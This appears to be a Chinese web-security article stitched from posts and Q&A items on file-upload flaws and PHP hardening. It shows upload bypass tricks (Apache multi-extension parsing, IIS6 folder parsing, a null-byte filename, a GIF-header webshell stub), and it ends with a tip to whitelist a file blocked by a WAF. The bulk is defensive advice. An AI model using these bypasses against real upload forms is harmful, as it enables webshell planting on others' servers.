而apache有个特性，是解析第一个“ . ”后的文件后缀作为文件类型，比如 fvck.php.rar.rar.rar 会被apache当作 fvck.php解析。 我最近看了下php的手册，在安装文档里，针对这个问题，专门有一个指导：
15. Tell Apache to parse certain extensions as PHP. For example, lets have
Apache parse .php files as PHP. Instead of only using the Apache AddType
directive, we want to avoid potentially dangerous uploads and created
files such as exploit.php.jpg from being executed as PHP. Using this
example, you could have any extension(s) parse as PHP by simply adding
them. Well add .phtml to demonstrate.
<FilesMatch .php$>
SetHandler application/x-httpd-php
</FilesMatch>
IIS6也有这种类似的特性，即在文件夹名字为 fvck.asp 时(fvck可替换为任意值)，该文件夹下任何文件都会被当作asp来执行，
至今似乎也未见到微软有把这个特性当作bug来fix的迹象。
所以如果不熟悉这些webserver的特性，你可能会觉得漏洞来的如此神奇：我明明做了充分限制，为什么还是被“做俯卧撑”了？
在判断文件类型的时候，大多数程序都是使用的采用检查文件后缀的方法，这里主要需要注意的hacking trick是某些检查函数是否会以0字节作为结束的判断，以前动网就出过类似的漏洞，上传 fvck.jpg%00.asp即可绕过文件类型检查。
我也见过只检查文件头部的，这种也很好欺骗，构造一个合法的gif文件头部，然后将webshell贴在后面，在后缀合法的情况下，一样能够被浏览器解析：
GIF89a ?
<? phpinfo(); ?>
比较高级一点的是做更多的文件格式检查，比如检查图片里像素的长宽等，然后再对图片做一次压缩，这样出来的图片基本都变形了，有啥webshell也被破坏了。
而检查文件格式时候一般会用到一些网上已经封装好的类，在扫描文件格式方面还是比较有优势的。但是在检查大文件的时候效率显然是一个需要考虑的问题，很多程序员出于效率原因可能不太会愿意选择这种方式。
但是今天从PDP的这个绑定文件的猥琐方法看来，详细检查文件格式的方法还是非常有必要的，因为攻击者的目标可能不光是服务器，还是客户端，如果要对客户端有所保证，就必须要详细检查文件格式，使之落在白名单中。
第三点，单独设置文件服务器域名，也是一种针对客户端的保护。这样可能会避免许多跨域的问题。如果发生了XSS，攻击者可能还需要突破跨域的限制才能进一步扩大战果。再比如如果被上传了crossdomain.xml，可能就会导致flash的跨域问题，这些都是实实在在的风险。
第四点，改写文件名，随机文件路径。这是把风险藏起来，现在基本上尽职一点的程序员都会这么设计，这也是最大程度减小风险的非常切实有效的手段。
需要注意的是构造随机文件名或路径的算法需要足够“随机”，而不要从比如cookie之类的地方直接取一段hash出来。比较好的做法是在server上用类似random()一类的函数来生成，相信程序员们这点意识还是有的，不再赘述了。
4. 如何实现php的安全最大化怎样避免sql注入漏洞和xss跨站脚本攻击漏洞
使用php安全模式
服务器要做好管理，账号权限是否合理。
假定所有用户的输入都是“恶意”的，防止XSS攻击，譬如：对用户的输入输出做好必要的过滤
防止CSRF，表单设置隐藏域，post一个随机字符串到后台，可以有效防止跨站请求伪造。
文件上传，检查是否做好效验，要注意上传文件存储目录权限。
防御SQL注入。
避免SQL注入漏洞
1.使用预编译语句
2.使用安全的存储过程
3.检查输入数据的数据类型
4.从数据库自身的角度考虑，应该使用最小权限原则，不可使用root或dbowner的身份连接数据库。若多个应用使用同一个数据库，也应该为数据库分配不同的账户。web应用使用的数据库账户，不应该有创建自定义函数，操作本地文件的权限。
避免XSS跨站脚本攻击
1.假定所有用户输入都是“邪恶”的
2.考虑周全的正则表达式
3.为cookie设置HttpOnly,防止cookie劫持
4.外部js不一定可靠
5.出去不必要的HTML注释
6. 针对非法的HTML代码包括单双引号等，使用htmlspecialchars()函数。
5. 上传php文件被安全狗拦截怎么办
安全狗安全吗，。。。了，还占用资源~~~
那你看看安全狗没有类似白名单的设置~~~把你的文件加入即可~~~